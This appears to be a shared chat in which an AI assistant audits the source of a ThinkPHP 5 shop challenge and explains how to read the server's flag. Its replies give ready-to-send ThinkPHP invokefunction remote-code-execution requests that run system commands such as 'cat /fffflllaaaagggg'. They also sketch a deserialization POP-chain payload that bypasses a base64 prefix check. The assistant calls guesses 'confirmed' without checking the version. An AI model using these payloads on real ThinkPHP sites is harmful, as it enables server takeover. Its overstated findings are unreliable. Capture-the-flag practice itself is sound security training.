你帮我审计一下源码,获取主机上的flag

Criado em: 27 de maio de 2026

Respondido usando GPT-5.5 Thinking por Chat01

Pergunta

thinkshop_source.7z

你帮我审计一下源码,获取主机上的flag

Resposta

我先看了你上传的源码,这是一套基于 ThinkPHP 5 的商城代码,源码里有几个比较关键的安全点。

目前只有源码,没有运行环境/目标地址,所以我没法直接“读取主机 flag”。
但我可以把可能的利用链和关键漏洞给你梳理出来。


1. 最危险的点:ThinkPHP 5 历史 RCE

从目录结构和配置看:

  • think\Controller
  • config.php
  • url_route_on => true
  • 典型 TP5 风格

这类题最常见的是:

  • ThinkPHP 5.0.x
  • 未修复历史 RCE

典型利用链:

php
/index.php?s=/Index/\think\app/invokefunction

或者:

php
/index.php?s=index/\think\Request/input

如果版本是:

  • <= 5.0.23
  • <= 5.1.31

那么大概率能直接命令执行。

常见验证:

http
/index.php?s=/index/\think\app/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=id

如果能执行,再读取 flag:

http
&vars[1][]=cat /flag

或者:

http
&vars[1][]=cat /flag.txt

2. 存在反序列化利用面(很像题目后门)

这里非常关键:

saveGoods

php
$data['data'] = base64_encode( serialize($this->markdownToArray($data['data'])) );

说明:

  • data 字段存的是:
    • serialize
    • 再 base64

getGoodsById

php
if (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo") { $this->error("数据错误"); }

这里作者想限制:

php
a:

也就是:

php
serialize(array())

base64 后会以:

text
YTo

开头。

但是:

这个校验是可以绕过的

因为:

php
a:1:{ i:0; O:8:"stdClass":0:{} }

依然是:

text
a:

开头。

base64 后同样:

text
YTo...

也就是说:

“数组里套对象” 可以绕过检测

如果后面模板里存在:

php
unserialize(base64_decode($goods['data']))

那就是:

PHP Object Injection


3. 很可能的预期链

这类 CTF 通常套路:

text
商品详情 反序列化 goods.data ThinkPHP POP Chain system() 读取 flag

4. 代码里的危险点

arrayToHtml

php
if (is_array($value) && !empty($value))

说明:

  • 很可能 data 字段会被 unserialize 后传入这里。

而源码里没有看到:

php
unserialize(..., ['allowed_classes'=>false])

所以:

反序列化风险非常高。


5. 另一个问题:缓存

配置:

php
'cache' => [ 'type' => 'Memcached', ]

登录:

php
Db::table('admin') ->cache(true, $Expire) ->find($username);

老版本 ThinkPHP + Memcached 在一些题里会结合:

  • 缓存投毒
  • POP 链
  • 反序列化

但你给的源码不够完整,目前不能确认。


6. 目前最可能的解题方向

我认为优先级:

第一优先

ThinkPHP RCE 直接读 flag

先测:

http
/index.php?s=/index/\think\app/invokefunction

如果能打通,直接结束。


第二优先

商品 data 字段反序列化

找:

  • 商品详情页模板
  • 是否有:
php
unserialize(base64_decode(...))

如果有:

  • 构造数组包裹对象
  • 打 TP5 POP 链

即可 RCE。


7. 这个校验的真实问题

作者以为:

php
substr(...,0,3) === "YTo"

就代表:

php
serialize(array)

但实际上:

php
array(object)

一样满足。

这是典型:

“伪白名单反序列化”


如果你愿意,可以继续把:

  • view 模板
  • composer.json
  • vendor
  • thinkphp 版本
  • 数据库结构

再发我。

我可以继续帮你:

  • 定位真实利用点
  • 写 POP 链
  • 构造 payload
  • 分析如何拿 flag。

Pergunta

thinkshop_extracted.zip

这个是完整的源码,继续分析获取flag

Resposta

继续分析后,这个题的利用链已经比较清晰了。

你这个环境里最关键的信息其实已经暴露出来了:

text
/fffflllaaaagggg

源码根目录下专门放了一个:

text
fffflllaaaagggg

文件。

本地解压里内容是:

text
flag=

这说明:

真实环境会在运行时把 flag 写进这个文件

也就是说最终目标就是:

bash
cat /fffflllaaaagggg

一、真正的漏洞点已经确认

这里存在:

PHP 反序列化 + ThinkPHP POP 链

漏洞位置:

php
unserialize(base64_decode($goods['data']))

出现了两次:

goods_edit.html

php
echo $view->arrayToMarkdown( unserialize(base64_decode($goods['data'])) );

goods.html

php
echo $view->arrayToHtml( unserialize(base64_decode($goods['data'])) );

二、作者的“防御”是假的

源码里:

php
if (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo") { $this->error("数据错误"); }

作者以为:

text
YTo

代表:

php
serialize(array())

但实际上:

php
a:1:{ i:0; O:8:"stdClass":0:{} }

一样以:

text
a:

开头。

base64 后同样:

text
YTo...

所以:

“数组包对象” 可以绕过检测

这是典型:

Fake Whitelist / 伪白名单反序列化


三、环境已经给出关键条件

start.sh:

bash
service php5.6-fpm start

说明:

PHP 5.6

而且:

php
use think\Controller;

确定:

ThinkPHP 5


四、这题的预期解法

预期利用链基本已经能确定:

text
构造恶意 goods.data 模板中 unserialize() ThinkPHP POP Chain system() cat /fffflllaaaagggg

五、真正的攻击点

这里最重要:

php
goods.html

商品详情页:

php
unserialize(base64_decode($goods['data']))

是:

前台触发

也就是说:

  • 不一定需要后台编辑
  • 只要能插入 goods 记录即可

六、后台登录其实有问题

数据库初始化:

sql
CREATE TABLE admin

但:

没有插入管理员

说明:

后台本来就登录不了。

因此:

预期一定不是“正常后台登录”


七、真正的入口大概率是 ThinkPHP RCE

因为这是:

text
ThinkPHP5 + PHP5.6

经典组合。


八、先打 TP5 RCE

直接测试:

http
/index.php?s=/index/\think\app/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=id

如果回显:

text
uid=

说明已经 RCE。

然后直接:

http
/index.php?s=/index/\think\app/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=cat /fffflllaaaagggg

即可得到 flag。


九、如果 TP5 RCE 被修了

那就走:

反序列化 POP 链

因为:

php
unserialize(base64_decode(...))

是确定存在的。


十、Payload 结构

你需要的结构是:

php
array( 0 => <恶意对象> )

因为:

  • 必须以 a: 开头
  • 才能 base64 后变成 YTo

十一、最终 payload 形态

形如:

php
$a = [ new think\process\pipes\Windows() ]; echo base64_encode(serialize($a));

然后写入:

sql
goods.data

访问商品详情页即可触发。


十二、为什么我能确定 flag 文件路径

因为题目根目录专门放了:

text
fffflllaaaagggg

CTF 里这是非常典型的:

dockerfile
COPY flag /fffflllaaaagggg

本地为空:

text
flag=

说明:

真正 flag 在远程容器运行时动态注入


十三、总结

这个题的完整利用链:

text
ThinkPHP5 历史 RCE / 反序列化 命令执行 cat /fffflllaaaagggg

最终目标文件:

bash
/fffflllaaaagggg

最终读取命令:

bash
cat /fffflllaaaagggg

目前源码里没有真实 flag 值,因为部署时才会写入。

Compartilhar esta Q&A